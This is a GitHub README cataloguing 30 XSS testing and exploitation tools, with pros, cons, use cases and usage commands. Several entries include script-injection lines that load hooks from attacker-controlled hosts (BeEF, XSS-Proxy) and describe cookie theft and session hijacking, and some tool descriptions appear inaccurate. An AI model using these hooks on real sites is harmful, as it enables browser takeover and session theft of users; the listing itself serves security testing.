Skip to content

Sewer2K/XSS-Tool-List-

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
README.markdown
README.markdown
 
 

Repository files navigation

XSS Exploitation Tools Repository 🚀

Project Logo/ A Curated Collection of Cross-Site Scripting (XSS) Tools for Ethical Security Testing

Welcome to the XSS Exploitation Tools Repository, a professionally curated collection of 30 powerful tools designed for ethical hacking, penetration testing, and security research. This repository includes the Browser Exploitation Framework (BeEF), RouterSploit, and other cutting-edge tools for detecting and exploiting Cross-Site Scripting (XSS) vulnerabilities. Each tool is detailed with comprehensive descriptions, pros, cons, use cases, and usage instructions, categorized as Free or Paid, with clickable links to GitHub repositories, official websites, or alternative sources for tools without public repositories.

⚠️ Ethical Use Only: These tools are for authorized security testing. Always obtain explicit permission before testing systems. Unauthorized use is illegal and unethical.

Table of Contents 📑

  • Introduction
  • Free Tools
    • BeEF
    • XSStrike
    • XSSer
    • OWASP Xenotix
    • XSS Hunter
    • ezXSS
    • Simple-XSS
    • XSSCon
    • XSS-Radar
    • XSS-Payloads
    • DOMinator
    • Shadow Workers
    • XSSRocket
    • dalfox
    • XSScrapy
    • KNOXSS Community
    • JSScanner
    • AutoSploit
    • Leviathan Framework
    • Foxss
    • Prototype Pollution Scanner
    • RouterSploit
    • XSS-Proxy
    • PwnXSS
    • XSSniper
  • Paid Tools
    • Burp Suite Professional
    • Netsparker (Invicti)
    • Acunetix
    • KNOXSS Pro
    • Detectify
  • Contributing
  • License
  • Disclaimer

Introduction 🌟

Cross-Site Scripting (XSS) vulnerabilities remain a critical security concern in web applications, allowing attackers to inject malicious scripts into trusted websites. This repository serves as a one-stop resource for security professionals, bug bounty hunters, and researchers to explore tools that detect, analyze, and exploit XSS vulnerabilities responsibly. From browser exploitation frameworks like BeEF to automated scanners like XSStrike, each tool is meticulously documented with clickable links to help you choose the right one for your testing needs.

Free Tools 🆓

1. BeEF 🌐

  • Description: The Browser Exploitation Framework (BeEF) is a premier open-source tool for exploiting browser vulnerabilities through client-side attacks. It allows testers to hook browsers via XSS, control them remotely, and execute modules for tasks like keylogging, phishing, or session hijacking. BeEF is widely used in red team engagements and integrates seamlessly with Metasploit.

  • Source: GitHub - beefproject/beef | Official Website

  • License: GPLv2

  • Pros:

    • Extensive module library for advanced browser exploitation.
    • Real-time control over hooked browsers.
    • Strong integration with Metasploit and other pentesting tools.

  • Cons:

    • Complex Ruby-based setup.
    • Ineffective without a vulnerable target or social engineering.
    • Limited Windows support.

  • Use Case: Simulate a phishing campaign to hook a browser and extract session cookies.

  • Usage Instructions:

    git clone https://github.com/beefproject/beef.git
cd beef
bundle install
./beef
# Access UI: http://127.0.0.1:3000/ui/panel
# Inject hook: <script src="http://<YOUR_IP>:3000/hook.js"></script>

2. XSStrike 🔍

  • Description: XSStrike is a sophisticated XSS scanner that excels at identifying vulnerabilities with context-aware payloads. It supports reflected, stored, and DOM-based XSS, bypassing WAFs and minimizing false positives. Its modular design allows customization for advanced users.

  • Source: GitHub - s0md3v/XSStrike

  • License: GPLv3

  • Pros:

    • High accuracy with low false positives.
    • Detects DOM XSS and WAF evasion capabilities.
    • Fast and highly customizable.

  • Cons:

    • Requires Python expertise for advanced tweaks.
    • Focused on scanning, not full exploitation.

  • Use Case: Scan a web app’s search form for reflected XSS.

  • Usage Instructions:

    git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python3 xsstrike.py -u "http://target.com/search?q=test"

3. XSSer 🛠️

  • Description: XSSer is an automated tool for detecting and exploiting XSS vulnerabilities across multiple attack vectors (reflected, stored, DOM). It features a graphical interface and supports various payloads, making it versatile for both beginners and experts.

  • Source: GitHub - epsylon/xsser

  • License: GPLv3

  • Pros:

    • Supports diverse XSS attack types.
    • Cross-platform with GUI and CLI options.

  • Cons:

    • Documentation is outdated.
    • Slower than modern scanners like XSStrike.

  • Use Case: Test a login page for stored XSS via input fields.

  • Usage Instructions:

    git clone https://github.com/epsylon/xsser.git
cd xsser
pip install -r requirements.txt
python xsser.py --url http://target.com/login --post "username=test&password=test"

4. OWASP Xenotix XSS Exploit Framework 📚

  • Description: OWASP Xenotix is an open-source framework by OWASP for detecting and exploiting XSS vulnerabilities, particularly DOM-based XSS. It includes over 1,300 payloads and a user-friendly GUI, ideal for educational purposes and basic pentesting.

  • Source: GitHub - ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework

  • License: Apache 2.0

  • Pros:

    • Massive payload library.
    • Intuitive GUI for ease of use.

  • Cons:

    • No longer actively maintained.
    • Windows-only.

  • Use Case: Identify DOM XSS in a JavaScript-heavy app.

  • Usage Instructions:

    # Download executable from GitHub releases
# Run Xenotix.exe on Windows
# Enter target URL and select payloads

5. XSS Hunter 🎯

  • Description: XSS Hunter is a hosted service for blind XSS testing, capturing payloads triggered by victims. It’s popular among bug bounty hunters for its simplicity and detailed reporting, requiring no local setup.

  • Source: Official Website (No public GitHub)

  • License: Free (Hosted)

  • Pros:

    • Easy setup for blind XSS testing.
    • Comprehensive trigger reports.

  • Cons:

    • Dependent on external hosting.
    • Limited customization options.

  • Use Case: Test a contact form for blind XSS.

  • Usage Instructions:

    # Sign up at https://xsshunter.com
# Generate payload: <script src="https://your-username.xss.ht"></script>
# Inject into form and monitor dashboard

6. ezXSS 📧

  • Description: ezXSS is a lightweight PHP-based tool for blind XSS testing, tailored for bug bounty hunters. It provides a web interface and email notifications when payloads are triggered, making it ideal for monitoring persistent XSS.

  • Source: GitHub - ssl/ezXSS

  • License: MIT

  • Pros:

    • User-friendly web interface.
    • Email alerts for triggered payloads.

  • Cons:

    • Requires PHP server setup.
    • Limited to blind XSS.

  • Use Case: Monitor a feedback form for blind XSS.

  • Usage Instructions:

    git clone https://github.com/ssl/ezXSS.git
# Set up PHP server (e.g., Apache)
# Configure config.php
# Inject: <script src="http://your-server/ezxss.js"></script>

7. Simple-XSS ⚙️

  • Description: Simple-XSS is a beginner-friendly, multi-platform tool for XSS exploitation, offering both GUI and CLI interfaces. It’s designed for quick testing of basic XSS vulnerabilities across web applications.

  • Source: GitHub - CyberTect-Team/simple-xss

  • License: MIT

  • Pros:

    • Cross-platform support.
    • Easy for beginners.

  • Cons:

    • Limited advanced features.
    • Early development stage.

  • Use Case: Test a form for reflected XSS.

  • Usage Instructions:

    git clone https://github.com/CyberTect-Team/simple-xss.git
cd simple-xss
pip install -r requirements.txt
python3 simple-xss.py --url http://target.com

8. XSSCon 🏃

  • Description: XSSCon is a lightweight Python-based XSS scanner focused on speed and simplicity. It’s ideal for quick scans and integration into automated workflows, though it lacks advanced features.

  • Source: GitHub - menkrep1337/XSSCon

  • License: MIT

  • Pros:

    • Fast and lightweight.
    • Scriptable for automation.

  • Cons:

    • Sparse documentation.
    • Limited payload variety.

  • Use Case: Rapidly scan a site for basic XSS.

  • Usage Instructions:

    git clone https://github.com/menkrep1337/XSSCon.git
cd XSSCon
python3 xsscon.py -u http://target.com

9. XSS-Radar 📡

  • Description: XSS-Radar is a browser extension that detects XSS vulnerabilities during manual testing. It monitors input fields and alerts users to potential issues, perfect for hands-on testers.

  • Source: Chrome Web Store (Search for XSS-Radar; no active GitHub)

  • License: Free

  • Pros:

    • Real-time browser integration.
    • No server setup needed.

  • Cons:

    • Manual testing only.
    • Not actively maintained.

  • Use Case: Test inputs during manual browsing.

  • Usage Instructions:

    # Install from Chrome Web Store
# Enable extension and browse target
# Monitor XSS alerts

10. XSS-Payloads 💣

  • Description: XSS-Payloads is a comprehensive collection of XSS payloads for manual and automated testing. It’s not a standalone tool but a valuable resource for testers using other scanners.

  • Source: GitHub - payloadbox/xss-payload-list

  • License: MIT

  • Pros:

    • Extensive payload collection.
    • Versatile for manual/automated use.

  • Cons:

    • Requires integration with other tools.
    • Not executable on its own.

  • Use Case: Inject payloads into a search bar.

  • Usage Instructions:

    git clone https://github.com/payloadbox/xss-payload-list.git
# Copy payloads for manual or automated testing

11. DOMinator 🖥️

  • Description: DOMinator is a specialized tool for detecting DOM-based XSS vulnerabilities in JavaScript-heavy applications. It analyzes client-side code to identify insecure DOM manipulations.

  • Source: GitHub Forks/Archives (No active public repo; search for forks)

  • License: Free

  • Pros:

    • DOM XSS focus.
    • Lightweight and scriptable.

  • Cons:

    • Outdated and unmaintained.
    • Limited support.

  • Use Case: Analyze a single-page app for DOM XSS.

  • Usage Instructions:

    # Find fork or archived version on GitHub
# Run as browser extension/script

12. Shadow Workers 🌑

  • Description: Shadow Workers is a command-and-control (C2) tool for exploiting XSS and Service Workers, enabling persistent browser attacks. It’s ideal for advanced testers exploring modern web exploitation.

  • Source: GitHub - shadow-workers/shadow-workers

  • License: MIT

  • Pros:

    • Unique Service Worker exploitation.
    • Advanced XSS scenarios.

  • Cons:

    • Complex setup.
    • Niche use case.

  • Use Case: Exploit a Service Worker for persistence.

  • Usage Instructions:

    git clone https://github.com/shadow-workers/shadow-workers.git
# Set up C2 server
# Inject payload into target

13. XSSRocket 🚀

  • Description: XSSRocket is a community-driven tool for offensive XSS testing, optimized for bug bounty hunters. It focuses on rapid payload delivery and exploitation in real-world scenarios.

  • Source: Bug Bounty Communities or Reddit Security Forums (No public GitHub; check bug bounty platforms)

  • License: Free

  • Pros:

    • Bug bounty optimized.
    • Fast payload execution.

  • Cons:

    • Poor documentation.
    • Community-driven instability.

  • Use Case: Test comments for stored XSS.

  • Usage Instructions:

    # Obtain from bug bounty communities (e.g., HackerOne, Reddit)
# Run per provided instructions

14. dalfox 🦊

  • Description: dalfox is a high-performance XSS scanner written in Go, supporting blind, reflected, and DOM XSS. It’s designed for bug bounty workflows and integrates with modern pentesting pipelines.

  • Source: GitHub - hahwul/dalfox

  • License: MIT

  • Pros:

    • Blazing fast in Go.
    • Bug bounty integration.

  • Cons:

    • Scanner, not exploiter.
    • Requires Go setup.

  • Use Case: Scan a URL for XSS in bug bounties.

  • Usage Instructions:

    go install github.com/hahwul/dalfox/v2@latest
dalfox url http://target.com

15. XSScrapy 🕷️

  • Description: XSScrapy is a Python-based web crawler that identifies XSS vulnerabilities by scanning input fields and forms. It’s useful for discovering potential attack vectors in large websites.

  • Source: GitHub - xsscrapy/xsscrapy (Check forks for active versions)

  • License: Free

  • Pros:

    • Automated crawling.
    • Python-based, modifiable.

  • Cons:

    • Unmaintained.
    • Limited payloads.

  • Use Case: Crawl a site for XSS-prone inputs.

  • Usage Instructions:

    git clone https://github.com/xsscrapy/xsscrapy.git
cd xsscrapy
pip install -r requirements.txt
python xsscrapy.py http://target.com

16. KNOXSS Community Edition ☁️

  • Description: KNOXSS Community Edition is a cloud-based XSS scanner offering free limited scans. It’s known for accurate detection and is popular among testers who prefer hosted solutions.

  • Source: Official Website (No public GitHub)

  • License: Free (Limited)

  • Pros:

    • No local setup needed.
    • High accuracy.

  • Cons:

    • Limited free scans.
    • API key required.

  • Use Case: Test a web app without local tools.

  • Usage Instructions:

    # Sign up at https://knoxss.me
# Get API key
curl -X POST -H "X-API-KEY: your-key" -d "url=http://target.com" https://api.knoxss.me

17. JSScanner 📜

  • Description: JSScanner is a JavaScript-based XSS scanner for client-side testing, running directly in the browser. It’s lightweight and ideal for detecting DOM XSS in modern web apps.

  • Source: GitHub - 0xhunter/JSScanner

  • License: MIT

  • Pros:

    • Browser-based, lightweight.
    • DOM XSS focus.

  • Cons:

    • Client-side only.
    • Minimal docs.

  • Use Case: Test a JS app for DOM XSS.

  • Usage Instructions:

    git clone https://github.com/0xhunter/JSScanner.git
# Load index.html in browser
# Scan target URL

18. AutoSploit 🤖

  • Description: AutoSploit is an automated exploitation framework with XSS modules, similar to RouterSploit. It leverages external data sources like Shodan to identify and exploit vulnerabilities at scale.

  • Source: GitHub - NullArray/AutoSploit

  • License: MIT

  • Pros:

    • Automates XSS exploitation.
    • Shodan integration.

  • Cons:

    • Resource-heavy.
    • Ethical concerns with automation.

  • Use Case: Automate XSS tests in a pentest.

  • Usage Instructions:

    git clone https://github.com/NullArray/AutoSploit.git
cd AutoSploit
pip install -r requirements.txt
python autosploit.py
# Configure targets via CLI

19. Leviathan Framework 🐉

  • Description: Leviathan Framework is a modular mass exploitation tool with XSS and other vulnerability modules. Its Python-based design makes it extensible for custom XSS exploitation scenarios.

  • Source: GitHub - leviathan-framework/leviathan

  • License: MIT

  • Pros:

    • Wide module range.
    • Python-based, extensible.

  • Cons:

    • Complex for beginners.
    • Limited XSS focus.

  • Use Case: Large-scale XSS testing in networks.

  • Usage Instructions:

    git clone https://github.com/leviathan-framework/leviathan.git
cd leviathan
pip install -r requirements.txt
python leviathan.py
# Select XSS module

20. Foxss 🦊

  • Description: Foxss is a simple PHP-based tool for detecting XSS vulnerabilities in small websites. It’s lightweight and suitable for quick scans, though it lacks advanced features.

  • Source: GitHub Forks/Archives (No active public repo; search for forks or check LinuxHint)

  • License: Free

  • Pros:

    • Easy PHP setup.
    • XSS detection focus.

  • Cons:

    • Limited functionality.
    • Unmaintained.

  • Use Case: Test a small site for XSS.

  • Usage Instructions:

    # Clone fork/community version from GitHub
# Set up PHP server
# Access via browser

21. Prototype Pollution Scanner 🔬

  • Description: Prototype Pollution Scanner is a Go-based tool for detecting prototype pollution vulnerabilities, which can lead to XSS in JavaScript apps. It targets modern web app weaknesses.

  • Source: GitHub - prototype-pollution (Search for relevant repos)

  • License: Free

  • Pros:

    • Modern JS vulnerability focus.
    • High-performance Go.

  • Cons:

    • Niche scope.
    • Limited docs.

  • Use Case: Scan JS app for prototype pollution XSS.

  • Usage Instructions:

    # Clone relevant repo from GitHub topics
go install github.com/<user>/prototype-pollution-scanner@latest
prototype-pollution-scanner -u http://target.com

22. RouterSploit 📡

  • Description: RouterSploit is an open-source exploitation framework for routers and IoT devices, featuring modules to exploit XSS vulnerabilities in device web interfaces. It’s ideal for testing network-connected devices with vulnerable admin panels.

  • Source: GitHub - threat9/routersploit

  • License: BSD

  • Pros:

    • Modular XSS exploitation for devices.
    • Active community.
    • IoT/router focus.

  • Cons:

    • Device-specific XSS only.
    • Needs network access.

  • Use Case: Exploit XSS in a router admin panel.

  • Usage Instructions:

    git clone https://github.com/threat9/routersploit.git
cd routersploit
pip install -r requirements.txt
python3 rsf.py
# Select XSS module and target IP

23. XSS-Proxy 🔗

  • Description: XSS-Proxy is an advanced tool for complex XSS attacks, forwarding browser requests to an attacker-controlled server. It’s suited for persistent XSS scenarios like session hijacking.

  • Source: OWASP Archives or GitHub Forks (No active public repo; search for forks)

  • License: Free

  • Pros:

    • Complex XSS exploitation.
    • Persistent attack support.

  • Cons:

    • Outdated, unmaintained.
    • Manual setup required.

  • Use Case: Hijack sessions via XSS proxying.

  • Usage Instructions:

    # Find archived version on OWASP or GitHub
# Set up proxy server
# Inject: <script src="http://attacker/xss-proxy.js"></script>

24. PwnXSS ⚡

  • Description: PwnXSS is a Python-based XSS scanner with automated crawling and payload injection. It’s popular in bug bounty communities for its efficiency in discovering XSS vulnerabilities.

  • Source: Bug Bounty Communities or Reddit Security Forums (No public GitHub; check bug bounty platforms)

  • License: Free

  • Pros:

    • Automated crawling.
    • Bug bounty optimized.

  • Cons:

    • Limited documentation.
    • Community-driven.

  • Use Case: Scan a web app for XSS in bug bounties.

  • Usage Instructions:

    # Obtain from bug bounty communities (e.g., HackerOne, Reddit)
pip install -r requirements.txt
python3 pwnxss.py -u http://target.com

25. XSSniper 🎯

  • Description: XSSniper is a lightweight XSS discovery tool with crawling and fuzzing capabilities. It’s designed for testers who need to quickly identify XSS vulnerabilities in large web applications.

  • Source: Security Tool Archives (No public GitHub; search for archived versions)

  • License: Free

  • Pros:

    • Crawling and fuzzing combined.
    • Lightweight.

  • Cons:

    • Unmaintained.
    • Limited payloads.

  • Use Case: Discover XSS in a large web app.

  • Usage Instructions:

    # Find archived version on GitHub
python xssniper.py --url http://target.com

Paid Tools 💰

26. Burp Suite Professional 🔐

  • Description: Burp Suite Professional is the industry-standard tool for web pentesting, offering advanced XSS detection and exploitation capabilities. Its scanner, proxy, and plugin ecosystem make it indispensable for professional testers.

  • Source: Official Website

  • License: Paid (Free Community Edition)

  • Pros:

    • Comprehensive pentesting suite.
    • Advanced XSS scanning.
    • Extensive plugins.

  • Cons:

    • Expensive.
    • Steep learning curve.

  • Use Case: Audit a web app for XSS.

  • Usage Instructions:

    # Purchase from https://portswigger.net/burp
# Run Burp Suite Professional
# Configure proxy and scan

27. Netsparker (Invicti) 🛡️

  • Description: Netsparker (Invicti) is an automated web security scanner with proof-based XSS detection. It’s designed for enterprises needing accurate, scalable vulnerability management.

  • Source: Official Website

  • License: Paid

  • Pros:

    • Proof-based scanning.
    • Enterprise reporting.

  • Cons:

    • High cost.
    • Limited manual testing.

  • Use Case: Automate XSS detection for corporate apps.

  • Usage Instructions:

    # Purchase from https://www.invicti.com
# Configure target and scan

28. Acunetix 🌍

  • Description: Acunetix is a user-friendly web vulnerability scanner with robust XSS detection, optimized for DevOps pipelines. It supports modern web apps and integrates with CI/CD workflows.

  • Source: Official Website

  • License: Paid

  • Pros:

    • Easy interface.
    • CI/CD integration.

  • Cons:

    • Costly for small teams.
    • Less manual flexibility.

  • Use Case: Scan a web app in DevOps.

  • Usage Instructions:

    # Purchase from https://www.acunetix.com
# Configure and scan

29. KNOXSS Pro 💼

  • Description: KNOXSS Pro is a premium cloud-based XSS scanner with unlimited scans and high accuracy. It’s favored by bug bounty hunters and professionals for its reliability.

  • Source: Official Website

  • License: Paid

  • Pros:

    • Unlimited scans.
    • Cloud-based, no setup.

  • Cons:

    • Subscription cost.
    • Scanning only.

  • Use Case: Frequent XSS scans for bug bounties.

  • Usage Instructions:

    # Subscribe at https://knoxss.me
# Use web interface/API

30. Detectify 📊

  • Description: Detectify is a cloud-based scanner for XSS and other vulnerabilities, offering continuous monitoring for enterprise environments. It’s known for its automation and detailed reports.

  • Source: Official Website

  • License: Paid

  • Pros:

    • Continuous scanning.
    • Enterprise-friendly.

  • Cons:

    • Expensive.
    • Limited manual control.

  • Use Case: Monitor corporate apps for XSS.

  • Usage Instructions:

    # Subscribe at https://detectify.com
# Configure target in web interface

Contributing 🤝

We welcome contributions to enhance this repository! To contribute:

  1. Fork the repository.
  2. Add or update tools with complete details (description, pros, cons, use case, instructions).
  3. Submit a pull request with a clear description.

See CONTRIBUTING.md for guidelines.

License 📜

This repository is licensed under the MIT License.

Disclaimer ⚠️

This repository is for educational and ethical purposes only. Unauthorized use of these tools is illegal and unethical. Always obtain explicit permission before testing any system. The maintainers are not responsible for misuse.

Built with ❤️ for the security community.

About

A comprehensive List of XSS tools

Resources

Readme
Activity

Stars

3 stars

Watchers

0 watching

Forks

0 forks
Report repository

Releases

No releases published

Packages

 
 
 

Contributors